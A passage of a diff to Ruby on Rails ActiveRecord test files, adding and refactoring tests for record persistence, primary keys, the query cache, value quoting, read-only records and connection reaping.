@@ -136,10 +137,37 @@ class PersistencesTest < ActiveRecord::TestCase
assert_difference('Client.count', -2) do
destroyed = Client.destroy([2, 3]).sort_by(&:id)
assert_equal clients, destroyed
- assert destroyed.all? { |client| client.frozen? }, "destroyed clients should be frozen"
+ assert destroyed.all?(&:frozen?), "destroyed clients should be frozen"
end
end
+ def test_becomes
+ assert_kind_of Reply, topics(:first).becomes(Reply)
+ assert_equal "The First Topic", topics(:first).becomes(Reply).title
+ end
+
+ def test_becomes_includes_errors
+ company = Company.new(:name => nil)
+ assert !company.valid?
+ original_errors = company.errors
+ client = company.becomes(Client)
+ assert_equal original_errors, client.errors
+ end
+
+ def test_dupd_becomes_persists_changes_from_the_original
+ original = topics(:first)
+ copy = original.dup.becomes(Reply)
+ copy.save!
+ assert_equal "The First Topic", Topic.find(copy.id).title
+ end
+
+ def test_becomes_includes_changed_attributes
+ company = Company.new(name: "37signals")
+ client = company.becomes(Client)
+ assert_equal "37signals", client.name
+ assert_equal %w{name}, client.changed
+ end
+
def test_delete_many
original_count = Topic.count
Topic.delete(deleting = [1, 2])
@@ -207,6 +235,15 @@ class PersistencesTest < ActiveRecord::TestCase
assert_nothing_raised { Minimalistic.create!(:id => 2) }
end
+ def test_save_with_duping_of_destroyed_object
+ developer = Developer.first
+ developer.destroy
+ new_developer = developer.dup
+ new_developer.save
+ assert new_developer.persisted?
+ assert_not new_developer.destroyed?
+ end
+
def test_create_many
topics = Topic.create([ { "title" => "first" }, { "title" => "second" }])
assert_equal 2, topics.size
@@ -214,11 +251,9 @@ class PersistencesTest < ActiveRecord::TestCase
end
def test_create_columns_not_equal_attributes
- topic = Topic.allocate.init_with(
- 'attributes' => {
- 'title' => 'Another New Topic',
- 'does_not_exist' => 'test'
- }
+ topic = Topic.instantiate(
+ 'title' => 'Another New Topic',
+ 'does_not_exist' => 'test'
)
assert_nothing_raised { topic.save }
end
@@ -243,20 +278,20 @@ class PersistencesTest < ActiveRecord::TestCase
assert_equal "David", topic2.author_name
end
- def test_update
+ def test_update_object
topic = Topic.new
topic.title = "Another New Topic"
topic.written_on = "2003-12-12 23:23:00"
topic.save
- topicReloaded = Topic.find(topic.id)
- assert_equal("Another New Topic", topicReloaded.title)
+ topic_reloaded = Topic.find(topic.id)
+ assert_equal("Another New Topic", topic_reloaded.title)
- topicReloaded.title = "Updated topic"
- topicReloaded.save
+ topic_reloaded.title = "Updated topic"
+ topic_reloaded.save
- topicReloadedAgain = Topic.find(topic.id)
+ topic_reloaded_again = Topic.find(topic.id)
- assert_equal("Updated topic", topicReloadedAgain.title)
+ assert_equal("Updated topic", topic_reloaded_again.title)
end
def test_update_columns_not_equal_attributes
@@ -264,12 +299,9 @@ class PersistencesTest < ActiveRecord::TestCase
topic.title = "Still another topic"
topic.save
- topicReloaded = Topic.allocate
- topicReloaded.init_with(
- 'attributes' => topic.attributes.merge('does_not_exist' => 'test')
- )
- topicReloaded.title = 'A New Topic'
- assert_nothing_raised { topicReloaded.save }
+ topic_reloaded = Topic.instantiate(topic.attributes.merge('does_not_exist' => 'test'))
+ topic_reloaded.title = 'A New Topic'
+ assert_nothing_raised { topic_reloaded.save }
end
def test_update_for_record_with_only_primary_key
@@ -297,6 +329,31 @@ class PersistencesTest < ActiveRecord::TestCase
assert_equal "Reply", topic.type
end
+ def test_update_sti_subclass_type
+ assert_instance_of Topic, topics(:first)
+
+ reply = topics(:first).becomes!(Reply)
+ assert_instance_of Reply, reply
+ reply.save!
+ assert_instance_of Reply, Reply.find(reply.id)
+ end
+
+ def test_update_after_create
+ klass = Class.new(Topic) do
+ def self.name; 'Topic'; end
+ after_create do
+ update_attribute("author_name", "David")
+ end
+ end
+ topic = klass.new
+ topic.title = "Another New Topic"
+ topic.save
+
+ topic_reloaded = Topic.find(topic.id)
+ assert_equal("Another New Topic", topic_reloaded.title)
+ assert_equal("David", topic_reloaded.author_name)
+ end
+
def test_delete
topic = Topic.find(1)
assert_equal topic, topic.delete, 'topic.delete did not return self'
@@ -365,7 +422,7 @@ class PersistencesTest < ActiveRecord::TestCase
client.delete
assert client.frozen?
assert_kind_of Firm, client.firm
- assert_raise(ActiveSupport::FrozenObjectError) { client.name = "something else" }
+ assert_raise(RuntimeError) { client.name = "something else" }
end
def test_destroy_new_record
@@ -379,7 +436,7 @@ class PersistencesTest < ActiveRecord::TestCase
client.destroy
assert client.frozen?
assert_kind_of Firm, client.firm
- assert_raise(ActiveSupport::FrozenObjectError) { client.name = "something else" }
+ assert_raise(RuntimeError) { client.name = "something else" }
end
def test_update_attribute
@@ -391,10 +448,6 @@ class PersistencesTest < ActiveRecord::TestCase
assert !Topic.find(1).approved?
end
- def test_update_attribute_does_not_choke_on_nil
- assert Topic.find(1).update_attributes(nil)
- end
-
def test_update_attribute_for_readonly_attribute
minivan = Minivan.find('m1')
assert_raises(ActiveRecord::ActiveRecordError) { minivan.update_attribute(:color, 'black') }
@@ -414,7 +467,7 @@ class PersistencesTest < ActiveRecord::TestCase
def test_update_attribute_for_updated_at_on
developer = Developer.find(1)
- prev_month = Time.now.prev_month
+ prev_month = Time.now.prev_month.change(usec: 0)
developer.update_attribute(:updated_at, prev_month)
assert_equal prev_month, developer.updated_at
@@ -457,14 +510,14 @@ class PersistencesTest < ActiveRecord::TestCase
def test_update_column_should_not_leave_the_object_dirty
topic = Topic.find(1)
- topic.update_column("content", "Have a nice day")
+ topic.update_column("content", "--- Have a nice day\n...\n")
topic.reload
- topic.update_column(:content, "You too")
+ topic.update_column(:content, "--- You too\n...\n")
assert_equal [], topic.changed
topic.reload
- topic.update_column("content", "Have a nice day")
+ topic.update_column("content", "--- Have a nice day\n...\n")
assert_equal [], topic.changed
end
@@ -485,7 +538,7 @@ class PersistencesTest < ActiveRecord::TestCase
def test_update_column_should_not_modify_updated_at
developer = Developer.find(1)
- prev_month = Time.now.prev_month
+ prev_month = Time.now.prev_month.change(usec: 0)
developer.update_column(:updated_at, prev_month)
assert_equal prev_month, developer.updated_at
@@ -548,14 +601,14 @@ class PersistencesTest < ActiveRecord::TestCase
def test_update_columns_should_not_leave_the_object_dirty
topic = Topic.find(1)
- topic.update_attributes({ "content" => "Have a nice day", :author_name => "Jose" })
+ topic.update({ "content" => "--- Have a nice day\n...\n", :author_name => "Jose" })
topic.reload
- topic.update_columns({ content: "You too", "author_name" => "Sebastian" })
+ topic.update_columns({ content: "--- You too\n...\n", "author_name" => "Sebastian" })
assert_equal [], topic.changed
topic.reload
- topic.update_columns({ content: "Have a nice day", author_name: "Jose" })
+ topic.update_columns({ content: "--- Have a nice day\n...\n", author_name: "Jose" })
assert_equal [], topic.changed
end
@@ -582,7 +635,7 @@ class PersistencesTest < ActiveRecord::TestCase
def test_update_columns_should_not_modify_updated_at
developer = Developer.find(1)
- prev_month = Time.now.prev_month
+ prev_month = Time.now.prev_month.change(usec: 0)
developer.update_columns(updated_at: prev_month)
assert_equal prev_month, developer.updated_at
@@ -632,6 +685,22 @@ class PersistencesTest < ActiveRecord::TestCase
assert developer.update_columns(name: 'Will'), 'did not update record due to default scope'
end
+ def test_update
+ topic = Topic.find(1)
+ assert !topic.approved?
+ assert_equal "The First Topic", topic.title
+
+ topic.update("approved" => true, "title" => "The First Topic Updated")
+ topic.reload
+ assert topic.approved?
+ assert_equal "The First Topic Updated", topic.title
+
+ topic.update(approved: false, title: "The First Topic")
+ topic.reload
+ assert !topic.approved?
+ assert_equal "The First Topic", topic.title
+ end
+
def test_update_attributes
topic = Topic.find(1)
assert !topic.approved?
@@ -642,10 +711,51 @@ class PersistencesTest < ActiveRecord::TestCase
assert topic.approved?
assert_equal "The First Topic Updated", topic.title
- topic.update_attributes(:approved => false, :title => "The First Topic")
+ topic.update_attributes(approved: false, title: "The First Topic")
topic.reload
assert !topic.approved?
assert_equal "The First Topic", topic.title
+
+ assert_raise(ActiveRecord::RecordNotUnique, ActiveRecord::StatementInvalid) do
+ topic.update_attributes(id: 3, title: "Hm is it possible?")
+ end
+ assert_not_equal "Hm is it possible?", Topic.find(3).title
+
+ topic.update_attributes(id: 1234)
+ assert_nothing_raised { topic.reload }
+ assert_equal topic.title, Topic.find(1234).title
+ end
+
+ def test_update_attributes_parameters
+ topic = Topic.find(1)
+ assert_nothing_raised do
+ topic.update_attributes({})
+ end
+
+ assert_raises(ArgumentError) do
+ topic.update_attributes(nil)
+ end
+ end
+
+ def test_update!
+ Reply.validates_presence_of(:title)
+ reply = Reply.find(2)
+ assert_equal "The Second Topic of the day", reply.title
+ assert_equal "Have a nice day", reply.content
+
+ reply.update!("title" => "The Second Topic of the day updated", "content" => "Have a nice evening")
+ reply.reload
+ assert_equal "The Second Topic of the day updated", reply.title
+ assert_equal "Have a nice evening", reply.content
+
+ reply.update!(title: "The Second Topic of the day", content: "Have a nice day")
+ reply.reload
+ assert_equal "The Second Topic of the day", reply.title
+ assert_equal "Have a nice day", reply.content
+
+ assert_raise(ActiveRecord::RecordInvalid) { reply.update!(title: nil, content: "Have a nice evening") }
+ ensure
+ Reply.clear_validators!
end
def test_update_attributes!
@@ -659,14 +769,14 @@ class PersistencesTest < ActiveRecord::TestCase
assert_equal "The Second Topic of the day updated", reply.title
assert_equal "Have a nice evening", reply.content
- reply.update_attributes!(:title => "The Second Topic of the day", :content => "Have a nice day")
+ reply.update_attributes!(title: "The Second Topic of the day", content: "Have a nice day")
reply.reload
assert_equal "The Second Topic of the day", reply.title
assert_equal "Have a nice day", reply.content
- assert_raise(ActiveRecord::RecordInvalid) { reply.update_attributes!(:title => nil, :content => "Have a nice evening") }
+ assert_raise(ActiveRecord::RecordInvalid) { reply.update_attributes!(title: nil, content: "Have a nice evening") }
ensure
- Reply.reset_callbacks(:validate)
+ Reply.clear_validators!
end
def test_destroyed_returns_boolean
@@ -725,4 +835,47 @@ class PersistencesTest < ActiveRecord::TestCase
end
end
+ def test_persist_inherited_class_with_different_table_name
+ minimalistic_aircrafts = Class.new(Minimalistic) do
+ self.table_name = "aircraft"
+ end
+
+ assert_difference "Aircraft.count", 1 do
+ aircraft = minimalistic_aircrafts.create(name: "Wright Flyer")
+ aircraft.name = "Wright Glider"
+ aircraft.save
+ end
+
+ assert_equal "Wright Glider", Aircraft.last.name
+ end
+
+ def test_instantiate_creates_a_new_instance
+ post = Post.instantiate("title" => "appropriate documentation", "type" => "SpecialPost")
+ assert_equal "appropriate documentation", post.title
+ assert_instance_of SpecialPost, post
+
+ # body was not initialized
+ assert_raises ActiveModel::MissingAttributeError do
+ post.body
+ end
+ end
+
+ def test_reload_removes_custom_selects
+ post = Post.select('posts.*, 1 as wibble').last!
+
+ assert_equal 1, post[:wibble]
+ assert_nil post.reload[:wibble]
+ end
+
+ def test_find_via_reload
+ post = Post.new
+
+ assert post.new_record?
+
+ post.id = 1
+ post.reload
+
+ assert_equal "Welcome to the weblog", post.title
+ assert_not post.new_record?
+ end
end
diff --git a/activerecord/test/cases/pooled_connections_test.rb b/activerecord/test/cases/pooled_connections_test.rb
index a8a9b06ec4..98888150a8 100644
--- a/activerecord/test/cases/pooled_connections_test.rb
+++ b/activerecord/test/cases/pooled_connections_test.rb
@@ -10,26 +10,10 @@ class PooledConnectionsTest < ActiveRecord::TestCase
@connection = ActiveRecord::Base.remove_connection
end
- def teardown
+ teardown do
ActiveRecord::Base.clear_all_connections!
ActiveRecord::Base.establish_connection(@connection)
- @per_test_teardown.each {|td| td.call }
- end
-
- def checkout_connections
- ActiveRecord::Base.establish_connection(@connection.merge({:pool => 2, :checkout_timeout => 0.3}))
- @connections = []
- @timed_out = 0
-
- 4.times do
- Thread.new do
- begin
- @connections << ActiveRecord::Base.connection_pool.checkout
- rescue ActiveRecord::ConnectionTimeoutError
- @timed_out += 1
- end
- end.join
- end
+ @per_test_teardown.each(&:call)
end
# Will deadlock due to lack of Monitor timeouts in 1.9
@@ -64,4 +48,4 @@ class PooledConnectionsTest < ActiveRecord::TestCase
def add_record(name)
ActiveRecord::Base.connection_pool.with_connection { Project.create! :name => name }
end
-end unless current_adapter?(:FrontBase) || in_memory_db?
+end unless in_memory_db?
diff --git a/activerecord/test/cases/primary_keys_test.rb b/activerecord/test/cases/primary_keys_test.rb
index bf8aacc363..f19a6ea5e3 100644
--- a/activerecord/test/cases/primary_keys_test.rb
+++ b/activerecord/test/cases/primary_keys_test.rb
@@ -5,6 +5,7 @@ require 'models/subscriber'
require 'models/movie'
require 'models/keyboard'
require 'models/mixed_case_monkey'
+require 'models/dashboard'
class PrimaryKeysTest < ActiveRecord::TestCase
fixtures :topics, :subscribers, :movies, :mixed_case_monkeys
@@ -92,6 +93,7 @@ class PrimaryKeysTest < ActiveRecord::TestCase
end
def test_primary_key_prefix
+ old_primary_key_prefix_type = ActiveRecord::Base.primary_key_prefix_type
ActiveRecord::Base.primary_key_prefix_type = :table_name
Topic.reset_primary_key
assert_equal "topicid", Topic.primary_key
@@ -103,6 +105,8 @@ class PrimaryKeysTest < ActiveRecord::TestCase
ActiveRecord::Base.primary_key_prefix_type = nil
Topic.reset_primary_key
assert_equal "id", Topic.primary_key
+ ensure
+ ActiveRecord::Base.primary_key_prefix_type = old_primary_key_prefix_type
end
def test_delete_should_quote_pkey
@@ -131,14 +135,22 @@ class PrimaryKeysTest < ActiveRecord::TestCase
end
def test_primary_key_returns_value_if_it_exists
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = 'developers'
+ end
+
if ActiveRecord::Base.connection.supports_primary_key?
- assert_equal 'id', ActiveRecord::Base.connection.primary_key('developers')
+ assert_equal 'id', klass.primary_key
end
end
def test_primary_key_returns_nil_if_it_does_not_exist
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = 'developers_projects'
+ end
+
if ActiveRecord::Base.connection.supports_primary_key?
- assert_nil ActiveRecord::Base.connection.primary_key('developers_projects')
+ assert_nil klass.primary_key
end
end
@@ -149,70 +161,76 @@ class PrimaryKeysTest < ActiveRecord::TestCase
assert_equal k.connection.quote_column_name("foo"), k.quoted_primary_key
end
- def test_two_models_with_same_table_but_different_primary_key
- k1 = Class.new(ActiveRecord::Base)
- k1.table_name = 'posts'
- k1.primary_key = 'id'
-
- k2 = Class.new(ActiveRecord::Base)
- k2.table_name = 'posts'
- k2.primary_key = 'title'
-
- assert k1.columns.find { |c| c.name == 'id' }.primary
- assert !k1.columns.find { |c| c.name == 'title' }.primary
- assert k1.columns_hash['id'].primary
- assert !k1.columns_hash['title'].primary
-
- assert !k2.columns.find { |c| c.name == 'id' }.primary
- assert k2.columns.find { |c| c.name == 'title' }.primary
- assert !k2.columns_hash['id'].primary
- assert k2.columns_hash['title'].primary
+ def test_auto_detect_primary_key_from_schema
+ MixedCaseMonkey.reset_primary_key
+ assert_equal "monkeyID", MixedCaseMonkey.primary_key
end
- def test_models_with_same_table_have_different_columns
- k1 = Class.new(ActiveRecord::Base)
- k1.table_name = 'posts'
-
- k2 = Class.new(ActiveRecord::Base)
- k2.table_name = 'posts'
+ def test_primary_key_update_with_custom_key_name
+ dashboard = Dashboard.create!(dashboard_id: '1')
+ dashboard.id = '2'
+ dashboard.save!
- k1.columns.zip(k2.columns).each do |col1, col2|
- assert !col1.equal?(col2)
- end
+ dashboard = Dashboard.first
+ assert_equal '2', dashboard.id
end
end
class PrimaryKeyWithNoConnectionTest < ActiveRecord::TestCase
self.use_transactional_fixtures = false
- def test_set_primary_key_with_no_connection
- return skip("disconnect wipes in-memory db") if in_memory_db?
+ unless in_memory_db?
+ def test_set_primary_key_with_no_connection
+ connection = ActiveRecord::Base.remove_connection
- connection = ActiveRecord::Base.remove_connection
+ model = Class.new(ActiveRecord::Base)
+ model.primary_key = 'foo'
- model = Class.new(ActiveRecord::Base)
- model.primary_key = 'foo'
+ assert_equal 'foo', model.primary_key
- assert_equal 'foo', model.primary_key
+ ActiveRecord::Base.establish_connection(connection)
- ActiveRecord::Base.establish_connection(connection)
-
- assert_equal 'foo', model.primary_key
+ assert_equal 'foo', model.primary_key
+ end
end
end
-if current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
+if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
class PrimaryKeyWithAnsiQuotesTest < ActiveRecord::TestCase
self.use_transactional_fixtures = false
-
- def test_primaery_key_method_with_ansi_quotes
+
+ def test_primary_key_method_with_ansi_quotes
con = ActiveRecord::Base.connection
con.execute("SET SESSION sql_mode='ANSI_QUOTES'")
assert_equal "id", con.primary_key("topics")
ensure
con.reconnect!
end
-
end
end
+if current_adapter?(:PostgreSQLAdapter)
+ class PrimaryKeyBigSerialTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ class Widget < ActiveRecord::Base
+ end
+
+ setup do
+ @connection = ActiveRecord::Base.connection
+ @connection.create_table(:widgets, id: :bigserial) { |t| }
+ end
+
+ teardown do
+ @connection.drop_table :widgets
+ end
+
+ def test_bigserial_primary_key
+ assert_equal "id", Widget.primary_key
+ assert_equal :integer, Widget.columns_hash[Widget.primary_key].type
+
+ widget = Widget.create!
+ assert_not_nil widget.id
+ end
+ end
+end
diff --git a/activerecord/test/cases/query_cache_test.rb b/activerecord/test/cases/query_cache_test.rb
index 4ff481e6a5..9d89d6a1e8 100644
--- a/activerecord/test/cases/query_cache_test.rb
+++ b/activerecord/test/cases/query_cache_test.rb
@@ -8,7 +8,7 @@ require 'rack'
class QueryCacheTest < ActiveRecord::TestCase
fixtures :tasks, :topics, :categories, :posts, :categories_posts
- def setup
+ teardown do
Task.connection.clear_query_cache
ActiveRecord::Base.connection.disable_query_cache!
end
@@ -118,6 +118,14 @@ class QueryCacheTest < ActiveRecord::TestCase
assert ActiveRecord::Base.connection.query_cache.empty?, 'cache should be empty'
end
+ def test_cache_passing_a_relation
+ post = Post.first
+ Post.cache do
+ query = post.categories.select(:post_id)
+ assert Post.connection.select_all(query).is_a?(ActiveRecord::Result)
+ end
+ end
+
def test_find_queries
assert_queries(2) { Task.find(1); Task.find(1) }
end
@@ -134,6 +142,15 @@ class QueryCacheTest < ActiveRecord::TestCase
end
end
+ def test_find_queries_with_multi_cache_blocks
+ Task.cache do
+ Task.cache do
+ assert_queries(2) { Task.find(1); Task.find(2) }
+ end
+ assert_queries(0) { Task.find(1); Task.find(1); Task.find(2) }
+ end
+ end
+
def test_count_queries_with_cache
Task.cache do
assert_queries(1) { Task.count; Task.count }
@@ -167,7 +184,7 @@ class QueryCacheTest < ActiveRecord::TestCase
# Oracle adapter returns count() as Fixnum or Float
if current_adapter?(:OracleAdapter)
assert_kind_of Numeric, Task.connection.select_value("SELECT count(*) AS count_all FROM tasks")
- elsif current_adapter?(:SQLite3Adapter) || current_adapter?(:Mysql2Adapter)
+ elsif current_adapter?(:SQLite3Adapter, :Mysql2Adapter)
# Future versions of the sqlite3 adapter will return numeric
assert_instance_of Fixnum,
Task.connection.select_value("SELECT count(*) AS count_all FROM tasks")
@@ -205,7 +222,7 @@ class QueryCacheExpiryTest < ActiveRecord::TestCase
Post.find(1)
# change the column definition
- Post.connection.change_column :posts, :title, :string, :limit => 80
+ Post.connection.change_column :posts, :title, :string, limit: 80
assert_nothing_raised { Post.find(1) }
# restore the old definition
@@ -232,7 +249,6 @@ class QueryCacheExpiryTest < ActiveRecord::TestCase
def test_update
Task.connection.expects(:clear_query_cache).times(2)
-
Task.cache do
task = Task.find(1)
task.starting = Time.now.utc
@@ -242,7 +258,6 @@ class QueryCacheExpiryTest < ActiveRecord::TestCase
def test_destroy
Task.connection.expects(:clear_query_cache).times(2)
-
Task.cache do
Task.find(1).destroy
end
@@ -250,7 +265,6 @@ class QueryCacheExpiryTest < ActiveRecord::TestCase
def test_insert
ActiveRecord::Base.connection.expects(:clear_query_cache).times(2)
-
Task.cache do
Task.create!
end
diff --git a/activerecord/test/cases/quoting_test.rb b/activerecord/test/cases/quoting_test.rb
index 3dd11ae89d..1d6ae2f67f 100644
--- a/activerecord/test/cases/quoting_test.rb
+++ b/activerecord/test/cases/quoting_test.rb
@@ -3,14 +3,6 @@ require "cases/helper"
module ActiveRecord
module ConnectionAdapters
class QuotingTest < ActiveRecord::TestCase
- class FakeColumn < ActiveRecord::ConnectionAdapters::Column
- attr_accessor :type
-
- def initialize type
- @type = type
- end
- end
-
def setup
@quoter = Class.new { include Quoting }.new
end
@@ -53,117 +45,94 @@ module ActiveRecord
end
def test_quoted_time_utc
- before = ActiveRecord::Base.default_timezone
- ActiveRecord::Base.default_timezone = :utc
- t = Time.now
- assert_equal t.getutc.to_s(:db), @quoter.quoted_date(t)
- ensure
- ActiveRecord::Base.default_timezone = before
+ with_timezone_config default: :utc do
+ t = Time.now
+ assert_equal t.getutc.to_s(:db), @quoter.quoted_date(t)
+ end
end
def test_quoted_time_local
- before = ActiveRecord::Base.default_timezone
- ActiveRecord::Base.default_timezone = :local
- t = Time.now
- assert_equal t.getlocal.to_s(:db), @quoter.quoted_date(t)
- ensure
- ActiveRecord::Base.default_timezone = before
+ with_timezone_config default: :local do
+ t = Time.now
+ assert_equal t.getlocal.to_s(:db), @quoter.quoted_date(t)
+ end
end
def test_quoted_time_crazy
- before = ActiveRecord::Base.default_timezone
- ActiveRecord::Base.default_timezone = :asdfasdf
- t = Time.now
- assert_equal t.getlocal.to_s(:db), @quoter.quoted_date(t)
- ensure
- ActiveRecord::Base.default_timezone = before
+ with_timezone_config default: :asdfasdf do
+ t = Time.now
+ assert_equal t.getlocal.to_s(:db), @quoter.quoted_date(t)
+ end
end
def test_quoted_datetime_utc
- before = ActiveRecord::Base.default_timezone
- ActiveRecord::Base.default_timezone = :utc
- t = DateTime.now
- assert_equal t.getutc.to_s(:db), @quoter.quoted_date(t)
- ensure
- ActiveRecord::Base.default_timezone = before
+ with_timezone_config default: :utc do
+ t = DateTime.now
+ assert_equal t.getutc.to_s(:db), @quoter.quoted_date(t)
+ end
end
###
# DateTime doesn't define getlocal, so make sure it does nothing
def test_quoted_datetime_local
- before = ActiveRecord::Base.default_timezone
- ActiveRecord::Base.default_timezone = :local
- t = DateTime.now
- assert_equal t.to_s(:db), @quoter.quoted_date(t)
- ensure
- ActiveRecord::Base.default_timezone = before
+ with_timezone_config default: :local do
+ t = DateTime.now
+ assert_equal t.to_s(:db), @quoter.quoted_date(t)
+ end
end
def test_quote_with_quoted_id
assert_equal 1, @quoter.quote(Struct.new(:quoted_id).new(1), nil)
- assert_equal 1, @quoter.quote(Struct.new(:quoted_id).new(1), 'foo')
end
def test_quote_nil
assert_equal 'NULL', @quoter.quote(nil, nil)
- assert_equal 'NULL', @quoter.quote(nil, 'foo')
end
def test_quote_true
assert_equal @quoter.quoted_true, @quoter.quote(true, nil)
- assert_equal '1', @quoter.quote(true, Struct.new(:type).new(:integer))
end
def test_quote_false
assert_equal @quoter.quoted_false, @quoter.quote(false, nil)
- assert_equal '0', @quoter.quote(false, Struct.new(:type).new(:integer))
end
def test_quote_float
float = 1.2
assert_equal float.to_s, @quoter.quote(float, nil)
- assert_equal float.to_s, @quoter.quote(float, Object.new)
end
def test_quote_fixnum
fixnum = 1
assert_equal fixnum.to_s, @quoter.quote(fixnum, nil)
- assert_equal fixnum.to_s, @quoter.quote(fixnum, Object.new)
end
def test_quote_bignum
bignum = 1 << 100
assert_equal bignum.to_s, @quoter.quote(bignum, nil)
- assert_equal bignum.to_s, @quoter.quote(bignum, Object.new)
end
def test_quote_bigdecimal
bigdec = BigDecimal.new((1 << 100).to_s)
assert_equal bigdec.to_s('F'), @quoter.quote(bigdec, nil)
- assert_equal bigdec.to_s('F'), @quoter.quote(bigdec, Object.new)
end
def test_dates_and_times
@quoter.extend(Module.new { def quoted_date(value) 'lol' end })
assert_equal "'lol'", @quoter.quote(Date.today, nil)
- assert_equal "'lol'", @quoter.quote(Date.today, Object.new)
assert_equal "'lol'", @quoter.quote(Time.now, nil)
- assert_equal "'lol'", @quoter.quote(Time.now, Object.new)
assert_equal "'lol'", @quoter.quote(DateTime.now, nil)
- assert_equal "'lol'", @quoter.quote(DateTime.now, Object.new)
end
def test_crazy_object
crazy = Class.new.new
expected = "'#{YAML.dump(crazy)}'"
assert_equal expected, @quoter.quote(crazy, nil)
- assert_equal expected, @quoter.quote(crazy, Object.new)
end
def test_crazy_object_calls_quote_string
crazy = Class.new { def initialize; @lol = 'lo\l' end }.new
assert_match "lo\\\\l", @quoter.quote(crazy, nil)
- assert_match "lo\\\\l", @quoter.quote(crazy, Object.new)
end
def test_quote_string_no_column
@@ -175,55 +144,13 @@ module ActiveRecord
assert_equal "'lo\\\\l'", @quoter.quote(string, nil)
end
- def test_quote_string_int_column
- assert_equal "1", @quoter.quote('1', FakeColumn.new(:integer))
- assert_equal "1", @quoter.quote('1.2', FakeColumn.new(:integer))
- end
-
- def test_quote_string_float_column
- assert_equal "1.0", @quoter.quote('1', FakeColumn.new(:float))
- assert_equal "1.2", @quoter.quote('1.2', FakeColumn.new(:float))
- end
-
- def test_quote_as_mb_chars_binary_column
- string = ActiveSupport::Multibyte::Chars.new('lo\l')
- assert_equal "'lo\\\\l'", @quoter.quote(string, FakeColumn.new(:binary))
- end
-
- def test_quote_binary_without_string_to_binary
- assert_equal "'lo\\\\l'", @quoter.quote('lo\l', FakeColumn.new(:binary))
- end
-
- def test_quote_binary_with_string_to_binary
- col = Class.new(FakeColumn) {
- def string_to_binary(value)
- 'foo'
- end
- }.new(:binary)
- assert_equal "'foo'", @quoter.quote('lo\l', col)
- end
-
- def test_quote_as_mb_chars_binary_column_with_string_to_binary
- col = Class.new(FakeColumn) {
- def string_to_binary(value)
- 'foo'
- end
- }.new(:binary)
- string = ActiveSupport::Multibyte::Chars.new('lo\l')
- assert_equal "'foo'", @quoter.quote(string, col)
- end
-
def test_string_with_crazy_column
- assert_equal "'lo\\\\l'", @quoter.quote('lo\l', FakeColumn.new(:foo))
+ assert_equal "'lo\\\\l'", @quoter.quote('lo\l')
end
def test_quote_duration
assert_equal "1800", @quoter.quote(30.minutes)
end
-
- def test_quote_duration_int_column
- assert_equal "7200", @quoter.quote(2.hours, FakeColumn.new(:integer))
- end
end
end
end
diff --git a/activerecord/test/cases/readonly_test.rb b/activerecord/test/cases/readonly_test.rb
index df076c97b4..1c919f0b57 100644
--- a/activerecord/test/cases/readonly_test.rb
+++ b/activerecord/test/cases/readonly_test.rb
@@ -1,13 +1,15 @@
require "cases/helper"
+require 'models/author'
require 'models/post'
require 'models/comment'
require 'models/developer'
+require 'models/computer'
require 'models/project'
require 'models/reader'
require 'models/person'
class ReadOnlyTest < ActiveRecord::TestCase
- fixtures :posts, :comments, :developers, :projects, :developers_projects, :people, :readers
+ fixtures :authors, :posts, :comments, :developers, :projects, :developers_projects, :people, :readers
def test_cant_save_readonly_record
dev = Developer.find(1)
@@ -21,9 +23,15 @@ class ReadOnlyTest < ActiveRecord::TestCase
assert !dev.save
dev.name = 'Forbidden.'
end
- assert_raise(ActiveRecord::ReadOnlyRecord) { dev.save }
- assert_raise(ActiveRecord::ReadOnlyRecord) { dev.save! }
- assert_raise(ActiveRecord::ReadOnlyRecord) { dev.destroy }
+
+ e = assert_raise(ActiveRecord::ReadOnlyRecord) { dev.save }
+ assert_equal "Developer is marked as readonly", e.message
+
+ e = assert_raise(ActiveRecord::ReadOnlyRecord) { dev.save! }
+ assert_equal "Developer is marked as readonly", e.message
+
+ e = assert_raise(ActiveRecord::ReadOnlyRecord) { dev.destroy }
+ assert_equal "Developer is marked as readonly", e.message
end
@@ -34,15 +42,12 @@ class ReadOnlyTest < ActiveRecord::TestCase
Developer.readonly.each { |d| assert d.readonly? }
end
+ def test_find_with_joins_option_does_not_imply_readonly
+ Developer.joins(' ').each { |d| assert_not d.readonly? }
+ Developer.joins(' ').readonly(true).each { |d| assert d.readonly? }
- def test_find_with_joins_option_implies_readonly
- # Blank joins don't count.
- Developer.joins(' ').each { |d| assert !d.readonly? }
- Developer.joins(' ').readonly(false).each { |d| assert !d.readonly? }
-
- # Others do.
- Developer.joins(', projects').each { |d| assert d.readonly? }
- Developer.joins(', projects').readonly(false).each { |d| assert !d.readonly? }
+ Developer.joins(', projects').each { |d| assert_not d.readonly? }
+ Developer.joins(', projects').readonly(true).each { |d| assert d.readonly? }
end
def test_has_many_find_readonly
@@ -87,7 +92,7 @@ class ReadOnlyTest < ActiveRecord::TestCase
# conflicting column names
unless current_adapter?(:OracleAdapter)
Post.joins(', developers').scoping do
- assert Post.find(1).readonly?
+ assert_not Post.find(1).readonly?
assert Post.readonly.find(1).readonly?
assert !Post.readonly(false).find(1).readonly?
end
diff --git a/activerecord/test/cases/reaper_test.rb b/activerecord/test/cases/reaper_test.rb
index e53a27d5dd..f52fd22489 100644
--- a/activerecord/test/cases/reaper_test.rb
+++ b/activerecord/test/cases/reaper_test.rb
@@ -10,8 +10,7 @@ module ActiveRecord
@pool = ConnectionPool.new ActiveRecord::Base.connection_pool.spec
end
- def teardown
- super
+ teardown do
@pool.connections.each(&:close)
end
@@ -64,17 +63,22 @@ module ActiveRecord
spec.config[:reaping_frequency] = 0.0001
pool = ConnectionPool.new spec
- pool.dead_connection_timeout = 0
- conn = pool.checkout
- count = pool.connections.length
+ conn = nil
+ child = Thread.new do
+ conn = pool.checkout
+ Thread.stop
+ end
+ Thread.pass while conn.nil?
+
+ assert conn.in_use?
- conn.extend(Module.new { def active?; false; end; })
+ child.terminate
- while count == pool.connections.length
+ while conn.in_use?
Thread.pass
end
- assert_equal(count - 1, pool.connections.length)
+ assert !conn.in_use?
end
end
end
diff --git a/activerecord/test/cases/reflection_test.rb b/activerecord/test/cases/reflection_test.rb
index a9d46f4fba..e86b892a0a 100644
--- a/activerecord/test/cases/reflection_test.rb
+++ b/activerecord/test/cases/reflection_test.rb
@@ -18,6 +18,11 @@ require 'models/subscription'
require 'models/tag'
require 'models/sponsor'
